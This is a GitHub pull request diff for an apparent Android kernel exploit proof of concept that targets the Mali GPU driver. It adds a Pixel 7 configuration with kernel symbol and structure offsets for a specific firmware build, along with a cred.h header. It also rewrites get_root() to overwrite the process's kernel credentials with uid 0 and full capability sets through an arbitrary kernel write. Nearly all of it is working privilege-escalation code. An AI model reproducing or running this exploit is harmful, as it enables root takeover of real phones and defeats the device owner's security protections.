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Grant full capabilities to root shell. #5

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Grant full capabilities to root shell. #5

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12f2c53
Overwrite cap_* fields to grant full capabilities.
m4b4 Apr 23, 2024
7ff4d69
Include header
m4b4 Apr 23, 2024
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39 changes: 39 additions & 0 deletions cred.h
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Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#ifndef _H_CRED_H
#define _H_CRED_H

#define _LINUX_CAPABILITY_U32S_3 2
#define _KERNEL_CAPABILITY_U32S _LINUX_CAPABILITY_U32S_3

typedef struct kernel_cap_struct {
__u32 cap[_KERNEL_CAPABILITY_U32S];
} kernel_cap_t;

#define CAP_TO_MASK(x) (1U << ((x) & 31)) /* mask for indexed __u32 */
#define SECUREBITS_DEFAULT 0x00000000

#define CAP_CHECKPOINT_RESTORE 40
#define CAP_LAST_CAP CAP_CHECKPOINT_RESTORE
#define CAP_LAST_U32_VALID_MASK (CAP_TO_MASK(CAP_LAST_CAP + 1) -1)

# define CAP_EMPTY_SET ((kernel_cap_t){{ 0, 0 }})
# define CAP_FULL_SET ((kernel_cap_t){{ ~0, CAP_LAST_U32_VALID_MASK }})

struct cred {
//atomic_t usage;
unsigned int uid; /* real UID of the task */
unsigned int gid; /* real GID of the task */
unsigned int suid; /* saved UID of the task */
unsigned int sgid; /* saved GID of the task */
unsigned int euid; /* effective UID of the task */
unsigned int egid; /* effective GID of the task */
unsigned int fsuid; /* UID for VFS ops */
unsigned int fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
};

#endif
36 changes: 33 additions & 3 deletions poc.cpp
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Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
#endif

#include "mali.h"
#include "cred.h"

#define do_dbg(x, ...)
#define do_print(fmt, ...) do { \
Expand Down Expand Up @@ -142,6 +143,20 @@ struct device_config dev_conf[] = {
0x00000000000004c8, /* offsetof task_struct->tasks */
__page_to_virt,
__virt_to_page
},

[4] = { /* Pixel 7 */
"google/panther/panther:14/UP1A.231005.007/10754064:user/release-keys",
0xD10203FFD503233F, /* 1st 8 bytes of _stext */
0xA9027BFDF800865E, /* 2nd 8 bytes of _stext */
0x00000000031308d0, /* kthread_task sym_off */
0x0000000003185970, /* selinux_state sym_off */
0x000000000236D028, /* anon_pipe_buf_ops sym_off */
0x0000000000000780, /* offsetof task_struct->cred */
0x00000000000005c8, /* offsetof task_struct->pid */
0x00000000000004c8, /* offsetof task_struct->tasks */
__page_to_virt,
__virt_to_page
}

};
Expand Down Expand Up @@ -653,9 +668,24 @@ void get_root()
__u64 creds = kernel_read64(prw.my_task + conf->task_struct_cred);

//do_print("OLD PRIVs: getuid() = %d getgid() = %d \n",getuid(),getgid());
__u8 buf[0x20] = {};
memset(buf,0,sizeof(buf));
kernel_write((__u64)(creds + 4),buf,sizeof(buf));
cred new_cred = {0};

new_cred.uid = 0;
new_cred.gid = 0;
new_cred.suid = 0;
new_cred.sgid = 0;
new_cred.euid = 0;
new_cred.egid = 0;
new_cred.fsuid = 0;
new_cred.fsgid = 0;
new_cred.securebits = SECUREBITS_DEFAULT;
new_cred.cap_inheritable = CAP_FULL_SET;
new_cred.cap_permitted = CAP_FULL_SET;
new_cred.cap_effective = CAP_FULL_SET;
new_cred.cap_bset = CAP_FULL_SET;
new_cred.cap_ambient = CAP_FULL_SET;

kernel_write((__u64)(creds + 4),(__u8*)&new_cred,sizeof(new_cred));

do_print("[+] Successfully got root: getuid() = %d getgid() = %d \n",getuid(),getgid());

Expand Down